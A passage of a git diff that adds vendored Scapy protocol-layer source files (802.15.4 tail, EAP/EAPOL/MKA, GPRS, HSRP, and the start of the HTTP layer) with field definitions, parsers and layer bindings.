+ fields_desc = [ + # GTS Characteristics field (1 octet) + # Reserved (bits 6-7) + BitField("reserved", 0, 2), + # Characteristics Type (bit 5) + BitField("charact_type", 0, 1), + # GTS Direction (bit 4) + BitField("gts_dir", 0, 1), + # GTS Length (bits 0-3) + BitField("gts_len", 0, 4), + ] + + def mysummary(self): + return self.sprintf("802.15.4 GTS Request Command ( %Dot15d4CmdGTSReq.gts_len% : %Dot15d4CmdGTSReq.gts_dir% )") # noqa: E501 + + +# PAN ID conflict notification command frame is not necessary, only Dot15d4Cmd with cmd_id = 5 ("PANIDConflictNotify") # noqa: E501 +# Orphan notification command not necessary, only Dot15d4Cmd with cmd_id = 6 ("OrphanNotify") # noqa: E501 + +# Bindings # +bind_layers(Dot15d4, Dot15d4Beacon, fcf_frametype=0) +bind_layers(Dot15d4, Dot15d4Data, fcf_frametype=1) +bind_layers(Dot15d4, Dot15d4Ack, fcf_frametype=2) +bind_layers(Dot15d4, Dot15d4Cmd, fcf_frametype=3) + +# DLT Types # +conf.l2types.register(DLT_IEEE802_15_4_WITHFCS, Dot15d4FCS) +conf.l2types.register(DLT_IEEE802_15_4_NOFCS, Dot15d4) diff --git a/libs/scapy/layers/eap.py b/libs/scapy/layers/eap.py new file mode 100755 index 0000000..a61bc46 --- /dev/null +++ b/libs/scapy/layers/eap.py @@ -0,0 +1,778 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Extensible Authentication Protocol (EAP) +""" + +from __future__ import absolute_import +from __future__ import print_function + +import struct + +from scapy.fields import BitField, ByteField, XByteField,\ + ShortField, IntField, XIntField, ByteEnumField, StrLenField, XStrField,\ + XStrLenField, XStrFixedLenField, LenField, FieldLenField, FieldListField,\ + PacketField, PacketListField, ConditionalField, PadField +from scapy.packet import Packet, Padding, bind_layers +from scapy.layers.l2 import SourceMACField, Ether, CookedLinux, GRE, SNAP +from scapy.config import conf +from scapy.compat import orb, chb + +# +# EAPOL +# + +######################################################################### +# +# EAPOL protocol version +# IEEE Std 802.1X-2010 - Section 11.3.1 +######################################################################### +# + +eapol_versions = { + 0x1: "802.1X-2001", + 0x2: "802.1X-2004", + 0x3: "802.1X-2010", +} + +######################################################################### +# +# EAPOL Packet Types +# IEEE Std 802.1X-2010 - Table 11.3 +######################################################################### +# + +eapol_types = { + 0x0: "EAP-Packet", # "EAPOL-EAP" in 801.1X-2010 + 0x1: "EAPOL-Start", + 0x2: "EAPOL-Logoff", + 0x3: "EAPOL-Key", + 0x4: "EAPOL-Encapsulated-ASF-Alert", + 0x5: "EAPOL-MKA", + 0x6: "EAPOL-Announcement (Generic)", + 0x7: "EAPOL-Announcement (Specific)", + 0x8: "EAPOL-Announcement-Req" +} + + +class EAPOL(Packet): + """ + EAPOL - IEEE Std 802.1X-2010 + """ + + name = "EAPOL" + fields_desc = [ + ByteEnumField("version", 1, eapol_versions), + ByteEnumField("type", 0, eapol_types), + LenField("len", None, "H") + ] + + EAP_PACKET = 0 + START = 1 + LOGOFF = 2 + KEY = 3 + ASF = 4 + + def extract_padding(self, s): + tmp_len = self.len + return s[:tmp_len], s[tmp_len:] + + def hashret(self): + return chb(self.type) + self.payload.hashret() + + def answers(self, other): + if isinstance(other, EAPOL): + if ((self.type == self.EAP_PACKET) and + (other.type == self.EAP_PACKET)): + return self.payload.answers(other.payload) + return 0 + + def mysummary(self): + return self.sprintf("EAPOL %EAPOL.type%") + + +# +# EAP +# + + +######################################################################### +# +# EAP methods types +# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4 +######################################################################### +# + +eap_types = { + 0: "Reserved", + 1: "Identity", + 2: "Notification", + 3: "Legacy Nak", + 4: "MD5-Challenge", + 5: "One-Time Password (OTP)", + 6: "Generic Token Card (GTC)", + 7: "Allocated - RFC3748", + 8: "Allocated - RFC3748", + 9: "RSA Public Key Authentication", + 10: "DSS Unilateral", + 11: "KEA", + 12: "KEA-VALIDATE", + 13: "EAP-TLS", + 14: "Defender Token (AXENT)", + 15: "RSA Security SecurID EAP", + 16: "Arcot Systems EAP", + 17: "EAP-Cisco Wireless", + 18: "GSM Subscriber Identity Modules (EAP-SIM)", + 19: "SRP-SHA1", + 20: "Unassigned", + 21: "EAP-TTLS", + 22: "Remote Access Service", + 23: "EAP-AKA Authentication", + 24: "EAP-3Com Wireless", + 25: "PEAP", + 26: "MS-EAP-Authentication", + 27: "Mutual Authentication w/Key Exchange (MAKE)", + 28: "CRYPTOCard", + 29: "EAP-MSCHAP-V2", + 30: "DynamID", + 31: "Rob EAP", + 32: "Protected One-Time Password", + 33: "MS-Authentication-TLV", + 34: "SentriNET", + 35: "EAP-Actiontec Wireless", + 36: "Cogent Systems Biometrics Authentication EAP", + 37: "AirFortress EAP", + 38: "EAP-HTTP Digest", + 39: "SecureSuite EAP", + 40: "DeviceConnect EAP", + 41: "EAP-SPEKE", + 42: "EAP-MOBAC", + 43: "EAP-FAST", + 44: "ZoneLabs EAP (ZLXEAP)", + 45: "EAP-Link", + 46: "EAP-PAX", + 47: "EAP-PSK", + 48: "EAP-SAKE", + 49: "EAP-IKEv2", + 50: "EAP-AKA", + 51: "EAP-GPSK", + 52: "EAP-pwd", + 53: "EAP-EKE Version 1", + 54: "EAP Method Type for PT-EAP", + 55: "TEAP", + 254: "Reserved for the Expanded Type", + 255: "Experimental", +} + + +######################################################################### +# +# EAP codes +# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1 +######################################################################### +# + +eap_codes = { + 1: "Request", + 2: "Response", + 3: "Success", + 4: "Failure", + 5: "Initiate", + 6: "Finish" +} + + +class EAP(Packet): + """ + RFC 3748 - Extensible Authentication Protocol (EAP) + """ + + name = "EAP" + fields_desc = [ + ByteEnumField("code", 4, eap_codes), + ByteField("id", 0), + ShortField("len", None), + ConditionalField(ByteEnumField("type", 0, eap_types), + lambda pkt:pkt.code not in [ + EAP.SUCCESS, EAP.FAILURE]), + ConditionalField(FieldListField( + "desired_auth_types", + [], + ByteEnumField("auth_type", 0, eap_types), + length_from=lambda pkt: pkt.len - 4 + ), + lambda pkt:pkt.code == EAP.RESPONSE and pkt.type == 3), # noqa: E501 + ConditionalField( + StrLenField("identity", '', length_from=lambda pkt: pkt.len - 5), + lambda pkt: pkt.code == EAP.RESPONSE and hasattr(pkt, 'type') and pkt.type == 1), # noqa: E501 + ConditionalField( + StrLenField("message", '', length_from=lambda pkt: pkt.len - 5), + lambda pkt: pkt.code == EAP.REQUEST and hasattr(pkt, 'type') and pkt.type == 1) # noqa: E501 + ] + + ######################################################################### + # + # EAP codes + # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1 + ######################################################################### + # + + REQUEST = 1 + RESPONSE = 2 + SUCCESS = 3 + FAILURE = 4 + INITIATE = 5 + FINISH = 6 + + registered_methods = {} + + @classmethod + def register_variant(cls): + cls.registered_methods[cls.type.default] = cls + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + c = orb(_pkt[0]) + if c in [1, 2] and len(_pkt) >= 5: + t = orb(_pkt[4]) + return cls.registered_methods.get(t, cls) + return cls + + def answers(self, other): + if isinstance(other, EAP): + if self.code == self.REQUEST: + return 0 + elif self.code == self.RESPONSE: + if ((other.code == self.REQUEST) and + (other.type == self.type)): + return 1 + elif other.code == self.RESPONSE: + return 1 + return 0 + + def mysummary(self): + summary_str = "EAP %{eap_class}.code% %{eap_class}.type%".format( + eap_class=self.__class__.__name__ + ) + if self.type == 1 and self.code == EAP.RESPONSE: + summary_str += " %{eap_class}.identity%".format( + eap_class=self.__class__.__name__ + ) + return self.sprintf(summary_str) + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(p) + len(pay) + tmp_p = p[:2] + chb((tmp_len >> 8) & 0xff) + chb(tmp_len & 0xff) + p = tmp_p + p[4:] + return p + pay + + def guess_payload_class(self, _): + return Padding + + +class EAP_MD5(EAP): + """ + RFC 3748 - "Extensible Authentication Protocol (EAP)" + """ + + name = "EAP-MD5" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 1, eap_codes), + ByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="optional_name", + adjust=lambda p, x: x + 6 + (p.value_size or 0)), + ByteEnumField("type", 4, eap_types), + FieldLenField("value_size", None, fmt="B", length_of="value"), + XStrLenField("value", '', length_from=lambda p: p.value_size), + XStrLenField("optional_name", '', length_from=lambda p: 0 if p.len is None or p.value_size is None else (p.len - p.value_size - 6)) # noqa: E501 + ] + + +class EAP_TLS(EAP): + """ + RFC 5216 - "The EAP-TLS Authentication Protocol" + """ + + name = "EAP-TLS" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 1, eap_codes), + ByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="tls_data", + adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), + ByteEnumField("type", 13, eap_types), + BitField('L', 0, 1), + BitField('M', 0, 1), + BitField('S', 0, 1), + BitField('reserved', 0, 5), + ConditionalField(IntField('tls_message_len', 0), lambda pkt: pkt.L == 1), # noqa: E501 + XStrLenField('tls_data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 + ] + + +class EAP_TTLS(EAP): + """ + RFC 5281 - "Extensible Authentication Protocol Tunneled Transport Layer + Security Authenticated Protocol Version 0 (EAP-TTLSv0)" + """ + + name = "EAP-TTLS" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 1, eap_codes), + ByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="data", + adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), + ByteEnumField("type", 21, eap_types), + BitField("L", 0, 1), + BitField("M", 0, 1), + BitField("S", 0, 1), + BitField("reserved", 0, 2), + BitField("version", 0, 3), + ConditionalField(IntField("message_len", 0), lambda pkt: pkt.L == 1), + XStrLenField("data", "", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 + ] + + +class EAP_PEAP(EAP): + """ + draft-josefsson-pppext-eap-tls-eap-05.txt - "Protected EAP Protocol (PEAP)" + """ + + name = "PEAP" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 1, eap_codes), + ByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="tls_data", + adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), + ByteEnumField("type", 25, eap_types), + BitField("L", 0, 1), + BitField("M", 0, 1), + BitField("S", 0, 1), + BitField("reserved", 0, 3), + BitField("version", 1, 2), + ConditionalField(IntField("tls_message_len", 0), lambda pkt: pkt.L == 1), # noqa: E501 + XStrLenField("tls_data", "", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 + ] + + +class EAP_FAST(EAP): + """ + RFC 4851 - "The Flexible Authentication via Secure Tunneling + Extensible Authentication Protocol Method (EAP-FAST)" + """ + + name = "EAP-FAST" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 1, eap_codes), + ByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="data", + adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), + ByteEnumField("type", 43, eap_types), + BitField('L', 0, 1), + BitField('M', 0, 1), + BitField('S', 0, 1), + BitField('reserved', 0, 2), + BitField('version', 0, 3), + ConditionalField(IntField('message_len', 0), lambda pkt: pkt.L == 1), + XStrLenField('data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 + ] + + +class LEAP(EAP): + """ + Cisco LEAP (Lightweight EAP) + https://freeradius.org/rfc/leap.txt + """ + + name = "Cisco LEAP" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 1, eap_codes), + ByteField("id", 0), + ShortField("len", None), + ByteEnumField("type", 17, eap_types), + ByteField('version', 1), + XByteField('unused', 0), + FieldLenField("count", None, "challenge_response", "B", adjust=lambda p, x: len(p.challenge_response)), # noqa: E501 + XStrLenField("challenge_response", "", length_from=lambda p: 0 or p.count), # noqa: E501 + StrLenField("username", "", length_from=lambda p: p.len - (8 + (0 or p.count))) # noqa: E501 + ] + + +############################################################################# +# IEEE 802.1X-2010 - MACsec Key Agreement (MKA) protocol +############################################################################# + +######################################################################### +# +# IEEE 802.1X-2010 standard +# Section 11.11.1 +######################################################################### +# + +_parameter_set_types = { + 1: "Live Peer List", + 2: "Potential Peer List", + 3: "MACsec SAK Use", + 4: "Distributed SAK", + 5: "Distributed CAK", + 6: "KMD", + 7: "Announcement", + 255: "ICV Indicator" +} + + +# Used by MKAParamSet::dispatch_hook() to instantiate the appropriate class +_param_set_cls = { + 1: "MKALivePeerListParamSet", + 2: "MKAPotentialPeerListParamSet", + 3: "MKASAKUseParamSet", + 4: "MKADistributedSAKParamSet", + 255: "MKAICVSet", +} + + +class MACsecSCI(Packet): + """ + Secure Channel Identifier. + """ + + ######################################################################### + # + # IEEE 802.1AE-2006 standard + # Section 9.9 + ######################################################################### + # + + name = "SCI" + fields_desc = [ + SourceMACField("system_identifier"), + ShortField("port_identifier", 0) + ] + + def extract_padding(self, s): + return "", s + + +class MKAParamSet(Packet): + """ + Class from which every parameter set class inherits (except + MKABasicParamSet, which has no "Parameter set type" field, and must + come first in the list of parameter sets). + """ + + MACSEC_DEFAULT_ICV_LEN = 16 + EAPOL_MKA_DEFAULT_KEY_WRAP_LEN = 24 + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + Returns the right parameter set class. + """ + + cls = conf.raw_layer + if _pkt is not None: + ptype = orb(_pkt[0]) + return globals().get(_param_set_cls.get(ptype), conf.raw_layer) + + return cls + + +class MKABasicParamSet(Packet): + """ + Basic Parameter Set (802.1X-2010, section 11.11). + """ + + ######################################################################### + # + # IEEE 802.1X-2010 standard + # Section 11.11 + ######################################################################### + # + + name = "Basic Parameter Set" + fields_desc = [ + ByteField("mka_version_id", 0), + ByteField("key_server_priority", 0), + BitField("key_server", 0, 1), + BitField("macsec_desired", 0, 1), + BitField("macsec_capability", 0, 2), + BitField("param_set_body_len", 0, 12), + PacketField("SCI", MACsecSCI(), MACsecSCI), + XStrFixedLenField("actor_member_id", "", length=12), + XIntField("actor_message_number", 0), + XIntField("algorithm_agility", 0), + PadField( + XStrLenField( + "cak_name", + "", + length_from=lambda pkt: (pkt.param_set_body_len - 28) + ), + 4, + padwith=b"\x00" + ) + ] + + def extract_padding(self, s): + return "", s + + +class MKAPeerListTuple(Packet): + """ + Live / Potential Peer List parameter sets tuples (802.1X-2010, section 11.11). # noqa: E501 + """ + + name = "Peer List Tuple" + fields_desc = [ + XStrFixedLenField("member_id", "", length=12), + XStrFixedLenField("message_number", "", length=4), + ] + + +class MKALivePeerListParamSet(MKAParamSet): + """ + Live Peer List parameter sets (802.1X-2010, section 11.11). + """ + + ######################################################################### + # + # IEEE 802.1X-2010 standard + # Section 11.11 + ######################################################################### + # + + name = "Live Peer List Parameter Set" + fields_desc = [ + PadField( + ByteEnumField( + "param_set_type", + 1, + _parameter_set_types + ), + 2, + padwith=b"\x00" + ), + ShortField("param_set_body_len", 0), + PacketListField("member_id_message_num", [], MKAPeerListTuple) + ] + + +class MKAPotentialPeerListParamSet(MKAParamSet): + """ + Potential Peer List parameter sets (802.1X-2010, section 11.11). + """ + + ######################################################################### + # + # IEEE 802.1X-2010 standard + # Section 11.11 + ######################################################################### + # + + name = "Potential Peer List Parameter Set" + fields_desc = [ + PadField( + ByteEnumField( + "param_set_type", + 2, + _parameter_set_types + ), + 2, + padwith=b"\x00" + ), + ShortField("param_set_body_len", 0), + PacketListField("member_id_message_num", [], MKAPeerListTuple) + ] + + +class MKASAKUseParamSet(MKAParamSet): + """ + SAK Use Parameter Set (802.1X-2010, section 11.11). + """ + + ######################################################################### + # + # IEEE 802.1X-2010 standard + # Section 11.11 + ######################################################################### + # + + name = "SAK Use Parameter Set" + fields_desc = [ + ByteEnumField("param_set_type", 3, _parameter_set_types), + BitField("latest_key_an", 0, 2), + BitField("latest_key_tx", 0, 1), + BitField("latest_key_rx", 0, 1), + BitField("old_key_an", 0, 2), + BitField("old_key_tx", 0, 1), + BitField("old_key_rx", 0, 1), + BitField("plain_tx", 0, 1), + BitField("plain_rx", 0, 1), + BitField("X", 0, 1), + BitField("delay_protect", 0, 1), + BitField("param_set_body_len", 0, 12), + XStrFixedLenField("latest_key_key_server_member_id", "", length=12), + XStrFixedLenField("latest_key_key_number", "", length=4), + XStrFixedLenField("latest_key_lowest_acceptable_pn", "", length=4), + XStrFixedLenField("old_key_key_server_member_id", "", length=12), + XStrFixedLenField("old_key_key_number", "", length=4), + XStrFixedLenField("old_key_lowest_acceptable_pn", "", length=4) + ] + + +class MKADistributedSAKParamSet(MKAParamSet): + """ + Distributed SAK parameter set (802.1X-2010, section 11.11). + """ + + ######################################################################### + # + # IEEE 802.1X-2010 standard + # Section 11.11 + ######################################################################### + # + + name = "Distributed SAK parameter set" + fields_desc = [ + ByteEnumField("param_set_type", 4, _parameter_set_types), + BitField("distributed_an", 0, 2), + BitField("confidentiality_offset", 0, 2), + BitField("unused", 0, 4), + ShortField("param_set_body_len", 0), + XStrFixedLenField("key_number", "", length=4), + ConditionalField( + XStrFixedLenField("macsec_cipher_suite", "", length=8), + lambda pkt: pkt.param_set_body_len > 28 + ), + XStrFixedLenField( + "sak_aes_key_wrap", + "", + length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN + ) + ] + + +class MKADistributedCAKParamSet(MKAParamSet): + """ + Distributed CAK Parameter Set (802.1X-2010, section 11.11). + """ + + ######################################################################### + # + # IEEE 802.1X-2010 standard + # Section 11.11 + ######################################################################### + # + + name = "Distributed CAK parameter set" + fields_desc = [ + PadField( + ByteEnumField( + "param_set_type", + 5, + _parameter_set_types + ), + 2, + padwith=b"\x00" + ), + ShortField("param_set_body_len", 0), + XStrFixedLenField( + "cak_aes_key_wrap", + "", + length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN + ), + XStrField("cak_key_name", "") + ] + + +class MKAICVSet(MKAParamSet): + """ + ICV (802.1X-2010, section 11.11). + """ + + ######################################################################### + # + # IEEE 802.1X-2010 standard + # Section 11.11 + ######################################################################### + # + + name = "ICV" + fields_desc = [ + PadField( + ByteEnumField( + "param_set_type", + 255, + _parameter_set_types + ), + 2, + padwith=b"\x00" + ), + ShortField("param_set_body_len", 0), + XStrFixedLenField("icv", "", length=MKAParamSet.MACSEC_DEFAULT_ICV_LEN) + ] + + +class MKAParamSetPacketListField(PacketListField): + """ + PacketListField that handles the parameter sets. + """ + + PARAM_SET_LEN_MASK = 0b0000111111111111 + + def m2i(self, pkt, m): + return MKAParamSet(m) + + def getfield(self, pkt, s): + lst = [] + remain = s + + while remain: + len_bytes = struct.unpack("!H", remain[2:4])[0] + param_set_len = self.__class__.PARAM_SET_LEN_MASK & len_bytes + current = remain[:4 + param_set_len] + remain = remain[4 + param_set_len:] + current_packet = self.m2i(pkt, current) + lst.append(current_packet) + + return remain, lst + + +class MKAPDU(Packet): + """ + MACsec Key Agreement Protocol Data Unit. + """ + + ######################################################################### + # + # IEEE 802.1X-2010 standard + # Section 11.11 + ######################################################################### + # + + name = "MKPDU" + fields_desc = [ + PacketField("basic_param_set", "", MKABasicParamSet), + MKAParamSetPacketListField("parameter_sets", [], MKAParamSet), + ] + + def extract_padding(self, s): + return "", s + + +bind_layers(Ether, EAPOL, type=34958) +bind_layers(Ether, EAPOL, dst='01:80:c2:00:00:03', type=34958) +bind_layers(CookedLinux, EAPOL, proto=34958) +bind_layers(GRE, EAPOL, proto=34958) +bind_layers(EAPOL, EAP, type=0) +bind_layers(SNAP, EAPOL, code=34958) +bind_layers(EAPOL, MKAPDU, type=5) diff --git a/libs/scapy/layers/gprs.py b/libs/scapy/layers/gprs.py new file mode 100755 index 0000000..10b97d4 --- /dev/null +++ b/libs/scapy/layers/gprs.py @@ -0,0 +1,22 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +GPRS (General Packet Radio Service) for mobile data communication. +""" + +from scapy.fields import StrStopField +from scapy.packet import Packet, bind_layers +from scapy.layers.inet import IP + + +class GPRS(Packet): + name = "GPRSdummy" + fields_desc = [ + StrStopField("dummy", "", b"\x65\x00\x00", 1) + ] + + +bind_layers(GPRS, IP,) diff --git a/libs/scapy/layers/hsrp.py b/libs/scapy/layers/hsrp.py new file mode 100755 index 0000000..1aa54b1 --- /dev/null +++ b/libs/scapy/layers/hsrp.py @@ -0,0 +1,89 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +############################################################################# +# # +# hsrp.py --- HSRP protocol support for Scapy # +# # +# Copyright (C) 2010 Mathieu RENARD mathieu.renard(at)gmail.com # +# # +# This program is free software; you can redistribute it and/or modify it # +# under the terms of the GNU General Public License version 2 as # +# published by the Free Software Foundation; version 2. # +# # +# This program is distributed in the hope that it will be useful, but # +# WITHOUT ANY WARRANTY; without even the implied warranty of # +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # +# General Public License for more details. # +# # +############################################################################# +# HSRP Version 1 +# Ref. RFC 2281 +# HSRP Version 2 +# Ref. http://www.smartnetworks.jp/2006/02/hsrp_8_hsrp_version_2.html +## +# $Log: hsrp.py,v $ +# Revision 0.2 2011/05/01 15:23:34 mrenard +# Cleanup code + +""" +HSRP (Hot Standby Router Protocol): proprietary redundancy protocol for Cisco routers. # noqa: E501 +""" + +from scapy.fields import ByteEnumField, ByteField, IPField, SourceIPField, \ + StrFixedLenField, XIntField, XShortField +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.layers.inet import DestIPField, UDP +from scapy.layers.inet6 import DestIP6Field + + +class HSRP(Packet): + name = "HSRP" + fields_desc = [ + ByteField("version", 0), + ByteEnumField("opcode", 0, {0: "Hello", 1: "Coup", 2: "Resign", 3: "Advertise"}), # noqa: E501 + ByteEnumField("state", 16, {0: "Initial", 1: "Learn", 2: "Listen", 4: "Speak", 8: "Standby", 16: "Active"}), # noqa: E501 + ByteField("hellotime", 3), + ByteField("holdtime", 10), + ByteField("priority", 120), + ByteField("group", 1), + ByteField("reserved", 0), + StrFixedLenField("auth", b"cisco" + b"\00" * 3, 8), + IPField("virtualIP", "192.168.1.1")] + + def guess_payload_class(self, payload): + if self.underlayer.len > 28: + return HSRPmd5 + else: + return Packet.guess_payload_class(self, payload) + + +class HSRPmd5(Packet): + name = "HSRP MD5 Authentication" + fields_desc = [ + ByteEnumField("type", 4, {4: "MD5 authentication"}), + ByteField("len", None), + ByteEnumField("algo", 0, {1: "MD5"}), + ByteField("padding", 0x00), + XShortField("flags", 0x00), + SourceIPField("sourceip", None), + XIntField("keyid", 0x00), + StrFixedLenField("authdigest", b"\00" * 16, 16)] + + def post_build(self, p, pay): + if self.len is None and pay: + tmp_len = len(pay) + p = p[:1] + hex(tmp_len)[30:] + p[30:] + return p + + +bind_bottom_up(UDP, HSRP, dport=1985) +bind_bottom_up(UDP, HSRP, sport=1985) +bind_bottom_up(UDP, HSRP, dport=2029) +bind_bottom_up(UDP, HSRP, sport=2029) +bind_layers(UDP, HSRP, dport=1985, sport=1985) +bind_layers(UDP, HSRP, dport=2029, sport=2029) +DestIPField.bind_addr(UDP, "224.0.0.2", dport=1985) +DestIP6Field.bind_addr(UDP, "ff02::66", dport=2029) diff --git a/libs/scapy/layers/http.py b/libs/scapy/layers/http.py new file mode 100755 index 0000000..e5e9dd9 --- /dev/null +++ b/libs/scapy/layers/http.py @@ -0,0 +1,686 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) 2019 Gabriel Potter +# Copyright (C) 2012 Luca Invernizzi +# Copyright (C) 2012 Steeve Barbeau + +# This program is published under a GPLv2 license + +""" +HTTP 1.0 layer. + +Load using: + + >>> load_layer("http") + +Note that this layer ISN'T loaded by default, as quite experimental for now. + +To follow HTTP packets streams = group packets together to get the +whole request/answer, use `TCPSession` as: + + >>> sniff(session=TCPSession) # Live on-the-flow session + >>> sniff(offline="./http_chunk.pcap", session=TCPSession) # pcap + +This will decode HTTP packets using `Content_Length` or chunks, +and will also decompress the packets when needed. +Note: on failure, decompression will be ignored. + +You can turn auto-decompression/auto-compression off with: + + >>> conf.contribs["http"]["auto_compression"] = True +""" + +# This file is a modified version of the former scapy_http plugin. +# It was reimplemented for scapy 2.4.3+ using sessions, stream handling. +# Original Authors : Steeve Barbeau, Luca Invernizzi +# Originally published under a GPLv2 license + +import os +import re +import struct +import subprocess + +from scapy.compat import plain_str, bytes_encode, \ + gzip_compress, gzip_decompress +from scapy.config import conf +from scapy.consts import WINDOWS +from scapy.error import warning, log_loading +from scapy.fields import StrField +from scapy.packet import Packet, bind_layers, bind_bottom_up, Raw +from scapy.utils import get_temp_file, ContextManagerSubprocess + +from scapy.layers.inet import TCP, TCP_client + +from scapy.modules import six + +try: + import brotli + is_brotli_available = True +except ImportError: + is_brotli_available = False + log_loading.info("Can't import brotli. Won't be able to decompress " + "data streams compressed with brotli.") + +if "http" not in conf.contribs: + conf.contribs["http"] = {} + conf.contribs["http"]["auto_compression"] = True + +# https://en.wikipedia.org/wiki/List_of_HTTP_header_fields + +GENERAL_HEADERS = [ + "Cache-Control", + "Connection", + "Permanent", + "Content-Length", + "Content-MD5", + "Content-Type", + "Date", + "Keep-Alive", + "Pragma", + "Upgrade", + "Via", + "Warning" +] + +COMMON_UNSTANDARD_GENERAL_HEADERS = [ + "X-Request-ID", + "X-Correlation-ID" +] + +REQUEST_HEADERS = [ + "A-IM", + "Accept", + "Accept-Charset", + "Accept-Encoding", + "Accept-Language", + "Accept-Datetime", + "Access-Control-Request-Method", + "Access-Control-Request-Headers", + "Authorization", + "Cookie", + "Expect", + "Forwarded", + "From", + "Host", + "HTTP2-Settings", + "If-Match", + "If-Modified-Since", + "If-None-Match", + "If-Range", + "If-Unmodified-Since", + "Max-Forwards", + "Origin", + "Proxy-Authorization", + "Range", + "Referer", + "TE", + "User-Agent" +] + +COMMON_UNSTANDARD_REQUEST_HEADERS = [ + "Upgrade-Insecure-Requests", + "Upgrade-Insecure-Requests", + "X-Requested-With", + "DNT", + "X-Forwarded-For", + "X-Forwarded-Host", + "X-Forwarded-Proto", + "Front-End-Https", + "X-Http-Method-Override", + "X-ATT-DeviceId", + "X-Wap-Profile", + "Proxy-Connection", + "X-UIDH", + "X-Csrf-Token", + "Save-Data", +] + +RESPONSE_HEADERS = [ + "Access-Control-Allow-Origin", + "Access-Control-Allow-Credentials", + "Access-Control-Expose-Headers", + "Access-Control-Max-Age", + "Access-Control-Allow-Methods", + "Access-Control-Allow-Headers", + "Accept-Patch", + "Accept-Ranges", + "Age", + "Allow", + "Alt-Svc", + "Content-Disposition", + "Content-Encoding", + "Content-Language", + "Content-Location", + "Content-Range", + "Delta-Base", + "ETag", + "Expires", + "IM", + "Last-Modified", + "Link", + "Location", + "Permanent", + "P3P", + "Proxy-Authenticate", + "Public-Key-Pins", + "Retry-After", + "Server", + "Set-Cookie", + "Strict-Transport-Security", + "Trailer", + "Transfer-Encoding", + "Tk", + "Vary", + "WWW-Authenticate", + "X-Frame-Options", +] + +COMMON_UNSTANDARD_RESPONSE_HEADERS = [ + "Content-Security-Policy", + "X-Content-Security-Policy", + "X-WebKit-CSP", + "Refresh", + "Status", + "Timing-Allow-Origin", + "X-Content-Duration", + "X-Content-Type-Options", + "X-Powered-By", + "X-UA-Compatible", + "X-XSS-Protection", +] + +# Dissection / Build tools + + +def _strip_header_name(name): + """Takes a header key (i.e., "Host" in "Host: www.google.com", + and returns a stripped representation of it + """ + return plain_str(name.strip()).replace("-", "_") + + +def _header_line(name, val): + """Creates a HTTP header line""" + # Python 3.4 doesn't support % on bytes + return bytes_encode(name) + b": " + bytes_encode(val) + + +def _parse_headers(s): + headers = s.split(b"\r\n") + headers_found = {} + for header_line in headers: + try: + key, value = header_line.split(b':', 1) + except ValueError: + continue + header_key = _strip_header_name(key).lower() + headers_found[header_key] = (key, value.strip()) + return headers_found + + +def _parse_headers_and_body(s): + ''' Takes a HTTP packet, and returns a tuple containing: + _ the first line (e.g., "GET ...") + _ the headers in a dictionary + _ the body + ''' + crlfcrlf = b"\r\n\r\n" + crlfcrlfIndex = s.find(crlfcrlf) + if crlfcrlfIndex != -1: + headers = s[:crlfcrlfIndex + len(crlfcrlf)] + body = s[crlfcrlfIndex + len(crlfcrlf):] + else: + headers = s + body = b'' + first_line, headers = headers.split(b"\r\n", 1) + return first_line.strip(), _parse_headers(headers), body + + +def _dissect_headers(obj, s): + """Takes a HTTP packet as the string s, and populates the scapy layer obj + (either HTTPResponse or HTTPRequest). Returns the first line of the + HTTP packet, and the body + """ + first_line, headers, body = _parse_headers_and_body(s) + for f in obj.fields_desc: + # We want to still parse wrongly capitalized fields + stripped_name = _strip_header_name(f.name).lower() + try: + _, value = headers.pop(stripped_name) + except KeyError: + continue + obj.setfieldval(f.name, value) + if headers: + headers = {key: value for key, value in six.itervalues(headers)} + obj.setfieldval('Unknown_Headers', headers) + return first_line, body + + +class _HTTPContent(Packet): + # https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Transfer-Encoding + def _get_encodings(self): + encodings = [] + if isinstance(self, HTTPResponse): + if self.Transfer_Encoding: + encodings += [plain_str(x).strip().lower() for x in + plain_str(self.Transfer_Encoding).split(",")] + if self.Content_Encoding: + encodings += [plain_str(x).strip().lower() for x in + plain_str(self.Content_Encoding).split(",")] + return encodings + + def hashret(self): + # The only field both Answers and Responses have 